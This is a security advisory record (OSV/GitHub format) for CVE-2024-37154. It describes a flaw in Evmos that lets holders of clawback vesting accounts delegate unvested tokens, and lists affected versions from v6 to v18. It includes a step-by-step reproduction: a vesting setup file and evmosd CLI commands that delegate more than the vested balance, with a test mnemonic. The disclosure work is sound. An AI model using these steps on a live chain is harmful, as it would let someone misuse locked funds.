{"id":"GHSA-7hrh-v6wp-53vw","summary":"Evmos allows unvested token delegations","details":"### Impact\n_What kind of vulnerability is it? Who is impacted?_\n\nAt the moment, users are able to delegate tokens that have not yet been vested. This affects employees and grantees who have funds managed via `ClawbackVestingAccount`.\n\n### Patches\n_Has the problem been patched? What versions should users upgrade to?_\n\n[The PR linked to this advisory](https://github.com/evmos/evmos-ghsa-7hrh-v6wp-53vw/pull/1) includes part of the fix. The remainder is in a [second advisory on the Cosmos SDK fork](https://github.com/evmos/cosmos-sdk/security/advisories/GHSA-wj6f-x5wv-8pqv).\n\n### Workarounds\n_Is there a way for users to fix or remediate the vulnerability without upgrading?_\n\nThere is no effective workaround to fix or remediate this issue without a new release. The best solution is to contain the information about this vulnerability to minimize the number of users who know about it and can thus exploit it.\n\n### References\n_Are there any links users can visit to find out more?_\n\nSee the integration tests for more details on the exploit, or use the following to reproduce it on the CLI:\n\n1. Download `vesting_setup.json` with the following contents:\n```\n{\n  \"start_time\": 1679602272,\n  \"periods\": [\n    {\n      \"coins\": \"100000000000000000000aevmos\",\n      \"length_seconds\": 10 \n    },\n    {\n      \"coins\": \"100000000000000000000aevmos\",\n      \"length_seconds\": 259200000\n    }\n  ]\n}\n```\n\n2. Run the following CLI commands to reproduce the issue locally:\n```\nevmosd tx vesting create-clawback-vesting-account evmos1rn7fmq6he0s4uz9mwzzqwwm7fmmepd39cusn0t --vesting vesting_setup.json --from dev0 --fees 2000000000000000aevmos --home ~/.tmp-evmosd --yes\n\n# Verify that the balance contains zero locked tokens, 1000000000000000aevmos vested, 1000000000000000aevmos unvested\nevmosd q vesting balances evmos1rn7fmq6he0s4uz9mwzzqwwm7fmmepd39cusn0t --home ~/.tmp-evmosd\n\nevmosd keys add key1 --recover --home ~/.tmp-evmosd\n# Enter the following mnemonic\nskate tell option purity cattle poverty street act bone govern way various\n\nevmosd q staking validators --home ~/.tmp-evmosd | grep operator_address\n\n# Substitute the operator address from the previous query\n# Note that this delegates 70% of the user's available stake\nevmosd tx staking delegate \u003coperator_address\u003e 70000000000000000000aevmos --fees 5000000000000000aevmos --gas 300000 --from key1 --home ~/.tmp-evmosd --yes\n\n# Re-run the same command\nevmosd tx staking delegate \u003coperator_address\u003e 70000000000000000000aevmos --fees 5000000000000000aevmos --gas 300000 --from key1 --home ~/.tmp-evmosd --yes\n\n# Note that the total delegations now exceed the user's vested balance\nevmosd q staking delegations evmos1rn7fmq6he0s4uz9mwzzqwwm7fmmepd39cusn0t --home ~/.tmp-evmosd\n```","aliases":["CVE-2024-37154","GO-2024-2904"],"modified":"2024-10-15T23:34:18Z","published":"2024-06-06T19:10:21Z","database_specific":{"github_reviewed_at":"2024-06-06T19:10:21Z","nvd_published_at":"2024-06-06T19:15:58Z","cwe_ids":["CWE-285","CWE-863"],"severity":"MODERATE","github_reviewed":true},"references":[{"type":"WEB","url":"https://github.com/evmos/evmos/security/advisories/GHSA-7hrh-v6wp-53vw"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-37154"},{"type":"PACKAGE","url":"https://github.com/evmos/evmos"},{"type":"WEB","url":"https://pkg.go.dev/vuln/GO-2024-2904"}],"affected":[{"package":{"name":"github.com/evmos/evmos/v18","ecosystem":"Go","purl":"pkg:golang/github.com/evmos/evmos/v18"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"last_affected":"18.1.0"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/06/GHSA-7hrh-v6wp-53vw/GHSA-7hrh-v6wp-53vw.json"}},{"package":{"name":"github.com/evmos/evmos/v17","ecosystem":"Go","purl":"pkg:golang/github.com/evmos/evmos/v17"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"last_affected":"17.0.1"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/06/GHSA-7hrh-v6wp-53vw/GHSA-7hrh-v6wp-53vw.json"}},{"package":{"name":"github.com/evmos/evmos/v16","ecosystem":"Go","purl":"pkg:golang/github.com/evmos/evmos/v16"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"last_affected":"16.0.4"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/06/GHSA-7hrh-v6wp-53vw/GHSA-7hrh-v6wp-53vw.json"}},{"package":{"name":"github.com/evmos/evmos/v15","ecosystem":"Go","purl":"pkg:golang/github.com/evmos/evmos/v15"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"last_affected":"15.0.0"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/06/GHSA-7hrh-v6wp-53vw/GHSA-7hrh-v6wp-53vw.json"}},{"package":{"name":"github.com/evmos/evmos/v14","ecosystem":"Go","purl":"pkg:golang/github.com/evmos/evmos/v14"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"last_affected":"14.1.0"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/06/GHSA-7hrh-v6wp-53vw/GHSA-7hrh-v6wp-53vw.json"}},{"package":{"name":"github.com/evmos/evmos/v13","ecosystem":"Go","purl":"pkg:golang/github.com/evmos/evmos/v13"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"last_affected":"13.0.2"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/06/GHSA-7hrh-v6wp-53vw/GHSA-7hrh-v6wp-53vw.json"}},{"package":{"name":"github.com/evmos/evmos/v12","ecosystem":"Go","purl":"pkg:golang/github.com/evmos/evmos/v12"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"last_affected":"12.1.6"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/06/GHSA-7hrh-v6wp-53vw/GHSA-7hrh-v6wp-53vw.json"}},{"package":{"name":"github.com/evmos/evmos/v11","ecosystem":"Go","purl":"pkg:golang/github.com/evmos/evmos/v11"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"last_affected":"11.0.2"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/06/GHSA-7hrh-v6wp-53vw/GHSA-7hrh-v6wp-53vw.json"}},{"package":{"name":"github.com/evmos/evmos/v10","ecosystem":"Go","purl":"pkg:golang/github.com/evmos/evmos/v10"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"last_affected":"10.0.1"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/06/GHSA-7hrh-v6wp-53vw/GHSA-7hrh-v6wp-53vw.json"}},{"package":{"name":"github.com/evmos/evmos/v9","ecosystem":"Go","purl":"pkg:golang/github.com/evmos/evmos/v9"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"last_affected":"9.1.0"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/06/GHSA-7hrh-v6wp-53vw/GHSA-7hrh-v6wp-53vw.json"}},{"package":{"name":"github.com/evmos/evmos/v8","ecosystem":"Go","purl":"pkg:golang/github.com/evmos/evmos/v8"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"last_affected":"8.2.3"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/06/GHSA-7hrh-v6wp-53vw/GHSA-7hrh-v6wp-53vw.json"}},{"package":{"name":"github.com/evmos/evmos/v7","ecosystem":"Go","purl":"pkg:golang/github.com/evmos/evmos/v7"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"last_affected":"7.0.0"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/06/GHSA-7hrh-v6wp-53vw/GHSA-7hrh-v6wp-53vw.json"}},{"package":{"name":"github.com/evmos/evmos/v6","ecosystem":"Go","purl":"pkg:golang/github.com/evmos/evmos/v6"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"last_affected":"6.0.4"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/06/GHSA-7hrh-v6wp-53vw/GHSA-7hrh-v6wp-53vw.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N"}]}